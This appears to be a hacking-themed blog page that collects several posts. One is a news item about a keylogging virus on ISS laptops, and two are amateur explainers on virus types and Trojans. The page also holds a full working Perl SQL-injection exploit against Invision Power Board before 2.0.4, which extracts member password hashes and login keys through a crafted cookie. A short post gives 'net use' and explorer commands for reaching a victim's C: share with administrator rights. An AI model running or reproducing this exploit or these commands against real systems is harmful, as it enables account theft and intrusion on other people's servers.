dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows

in the share system wich is
the C: drive with administrators access!

Read More Add Your Opinion 0 Opinions

Computer virus goes into orbit

SAN FRANCISCO: NASA confirmed that a computer virus sneaked aboard the International Space Station only to be tossed into quarantine on July 25 by security software

.

A “worm type” virus was found on laptop computers that astronauts use to send and receive email from the station by relaying messages through a mission control center in Texas, according to NASA spokesman Kelly Humphries on Wednesday.

The virus is reported to be malicious software

that logs keystrokes in order to steal passwords or other sensitive data by sending the information to hackers via the Internet. The laptop computers are not linked to any of the space station’s control systems

or the Internet. “The bottom line is it is a nuisance for us,” Humphries said. “The crew is working with teams on the ground to eradicate the virus and look for actions to prevent that from happening in the future.” The virus had no adverse effect on space station operations, according to Humphries.

The space station orbits Earth once every 90 minutes at an altitude of about 350 kilometers. NASA is reportedly looking into whether the virus got into the computers by hiding in a memory drive used to store music, video or other digital files. Humphries said this is not the first computer virus stowaway on the Space Station.

“This is not a frequent occurrence but it has happened before,” Humphries said

Read More Add Your Opinion 0 Opinions

Virus Code In perl For SQL Injection

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (&lt2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV &lt 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) &gt 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)&lt5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i&lt$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20";
$socket = IO::Socket::INET-&gtnew( Proto =&gt "tcp", PeerAddr =&gt "$server", PeerPort =&gt "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(&lt$socket&gt)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v &lt 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

Read More Add Your Opinion 0 Opinions

Viruses and Trojan Horse

Viruses:

The definition on a virus will be it will copy itself in large numbers on the victims’ computer. This can might have many effects how the computer will act to this changes made by a program. It can slow down the performance and it will use up memory of the computer to new processes so aren’t good at all. Also for a virus it’s very important to load into the memory of the computer when it boot-ups. They are also using many different tactics to hide from the Anti Virus Software’s. They will normally cause a lot of havoc on the computer it is running on.

Boot Sector Viruses:

The virus will be execute while the computer is starting up this allow the virus to move into memory right away when the computer is active they will also overwrite or remake an new copy of themselves to boot sector again it will also point to a new virus file so it will load again when the computer start-up again. This is the basic example of how a virus will try to stay alive. When the virus files into the memory it can keep infect other files on the hard drive.

Program Viruses:

This is a virus so is included into a program you may download from the internet they can be find in different sharewares around the World Wide Web. They are designed to load into the memory when the program are being executed. They can only make a lot of copies of themselves to different locations. Or they might infect specific file types like *.exe *.sys *.com. Most Program viruses are made the to useful programs so the user shouldn’t accept it to be virus. They may also delete or corrupt files on the system. This virus load into the memory only when the program is executed.

Multipartites Viruses:

This is a virus so more advanced than the other to types I explained here. They will have the same effect as the both viruses anyway. The virus will be downloaded from the internet they user believe it is a useful program but instead it will try to do weird actions on the victims’ computer. When the executable file is executed it will copy itself to MasterBootSection. This will say when computer bootup the virus will go straight into the memory of the computer. When that happened it will replace or copy more files to the computer so will have link to start-up in the memory of the computer. It will also infect specific files types on the computer. It can also corrupt and damage data on the computer to the victim.

Stealth Viruses:

As the name say this is a virus so is really tricky for virus scanners to detect since its using several methods to hide themselves away from the scanners. It can also deny access to the files they are hiding in. They are also allowed to hide in program so are virus free to avoid detection. Some of them can even move out off the computers memory for an amount of time to avoid scanners. Also it can change the size of the files its hiding in to pretend the file is nothing wrong with.

Polymorphic Viruses:

This virus type is one of the most difficult viruses for Anti-Virus Scanners to detect this is for when the file is executed on the victims computer the go into the memory link themselves to start-up when the computer start-up the programs. When it infects files on the computer they are allowed to change the virus signature so it can avoid virus detecting. Also critical parts of the virus might also be encrypted so it can avoid detect. Signature is needed for virus scanners to detect the specific virus

Macro Viruses:

This will indicate that the virus is an evil code so can hide in applications you download from the internet or it can be in documents. The viruses are designed to make a lot of havoc on the victim’s computer. They are typed into Visual Basic Application. This will also say that it is typed into advanced Visual Basic. The will try to delete and destroy data on the computer.

Trojan Horse:

This is a program so will pretend to be something so will help your computer but it will in the reality harm it in many ways. All Trojan horses are really "RATs" this will say that it open an back door on the victims computer so an attacker from a remote computer will gain access to all your files on your computer they can also control Software and Hardware functions on your system. In many Trojans they have also included Key loggers so will record all keystrokes you take on your computer. Since they have control of all the functions of the computer they may also use your computer to attack other systems on for avoid detection.

How does the Trojan Work:

First so will happened is you must find a way to infect the system of the target this can be done in several ways... You can for example send it through E-Mail or Instant Messenger. It can also be done by attach the server file by insert it to a legally file like a *.jpg to hide it. When it is installed it will start a server on the remote computer and open a port for the Attacker to come through. When the user is online it will alert the Attacker. So he knows when he can strike the user. Normal action of an attacker at this point is to take away all function to a system so are useful to take away the Trojan Horse like security and stuff like that.

How to Detect Trojan Horses:

This can be very easily done just go to command prompt and type "netstat -n" you will now see a list with open ports on your system if you find a port you might think is a Trojan you can simply search for Trojan port list in your internet browser. Another thing you should take a look at all the Trojan Horses are normally loading into the memory of the computer while it’s booting up. So you should check for files so boot up while windows boot. You should go into the registry to different paths like this: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run" take away the files you don't want to boot up at start-up. If you find any "temp" files take them away since no temp files should be executed into memory while windows start this will normally indicate that you are infected with a virus.

Read More Add Your Opinion 0 Opinions

Viruses ..What are They Actually..?

I have decided to write an article just to cover the types of viruses and what they all do, in short. There are 8 types of viruses:

1. Polymorphic Virus
2. Stealth Virus
3. Retrovirus
4. Multipartite Virus
5. Armored Virus
6. Companion Virus
7. Phage Virus
8. Macro Virus

A virus is a piece of software designed to infect a computer system. The virus may do nothing more than reside on the computer. A virus may also damage the data on your hard disk, destroy your operating system, and possibly spread to other systems. Viruses get into your computer in one of 3 ways: on a contaminated floppy or CD-ROM, trough email, or as part of another program. Each type of virus has a different attack strategy and different consequences.

Polymorphic Viruses - Polymorphic viruses change form in order to avoid detection. These types of viruses attack your system, display a message on your computer, and delete files on your system. The virus will attempt to hide from your antivirus software. Frequently the virus will encrypt parts of itself to avoid detection. When that happens it's called mutation.

Stealth Virus - This type of virus attempts to avoid detection by masking itself from applications. It may attach itself to the boot sector of the hard drive. When a system utility or program runs, the stealth virus redirects commands around itself in order to avoid detection. An infected file may report a file size different from what is actually present in order to avoid detection. It may also move itself around your computer to different folders during a virus scan to avoid detection.

Retrovirus - This virus attacks or bypasses the antivirus software installed on your computer. You can consider a retrovirus to be a "anti-antivirus". It can directly attack your antivirus software and potentially destroy the virus definition database file. This loss of information will leave you with a false sense of security. This type of virus may also directly attack the antivirus to create bypasses for the virus.

Multipartite Virus - This virus attacks your system in multiple ways. It may attempt to infect your boot sector, infect all you executable files, and destroy your applications files. The hope her is that you wont be able to correct all the problems and will allow the infestation to continue. It attacks your boot sector, infects application files, and attacks your microsoft word documents.

Armored Virus - This virus makes itself difficult to detect or analyze. Armored viruses cover themselves with protective code that stop debuggers or disassemblers for examining critical elements of the virus. The virus may be written in such a way that some aspects of the programming act as a decoy to distract analysis while the actual code hides in other areas in the program. The more time it takes to de-construct the virus, the longer it will live. The longer it can live, the more time it has to replicate and spread to as many machines as possible.

Companion Virus - This virus attaches itself to legitimate programs and then creates a program with a different file extension. This file may reside on your systems temporary directory. When the user types the name of the legitimate program, the companion virus executes instead of the real program. This hides the virus from the user (effectively). Many of the viruses that are used to attack windows systems make changes to program pointers in the registry so that they point to the infected program. The infected program will perform it's dirty deed and then start the real program.

Phage Virus - This virus modifies and alters other programs and databases. The virus infects all of these files. The only way to remove this type of virus is to reinstall the programs that are infected. If you miss even a single incident of this virus on the victim system, the process will start again and infect the system once more.

Macro Virus - This virus exploits the enhancements made to many application programs. Programs such as word and excel allow programmers to expand the capability of the application. Word, for example, supports a mini - BASIC programming language that allows files to be manipulated automatically. These programs in the document are called macros. For example, a macro can tell your word processor to spell-check your document when it opens. Macro viruses can infect all the documents on you system and spread to other systems using mail or other methods.

Then there is other types of threats like worms, trojan horses, and logic bombs. I will cover these briefly in order to make the difference between these and viruses clear.

Worms - A worm is different from a virus in that it can reproduce itself, it's self-contained, and it doesn't need a host application to be transported. It is possible for a worm to contain or deliver a virus to a target system. (WORM - Write Once Read Many)

Trojan Horses - This is a program that enters a system or network in disguise of another program. The trojan may create a back door or replace a valid program during installation. They can be used to compromised the security of your system and can be there for years before detection. A port scan may reveal a trojan horse on your system as it creates a back door (a open port that you don't know about).

Logic Bombs - These are snippets of code that execute when a certain predefined event occurs. A bomb may send a note to an attacker when a user is logged on to the internet and is using a word processor. This message informs the attacker that the user is ready for an attack.

I hope that this article provided you with enough information about viruses, I will write another article soon on how to prevent these viruses and other attacks.

Read More Add Your Opinion 0 Opinions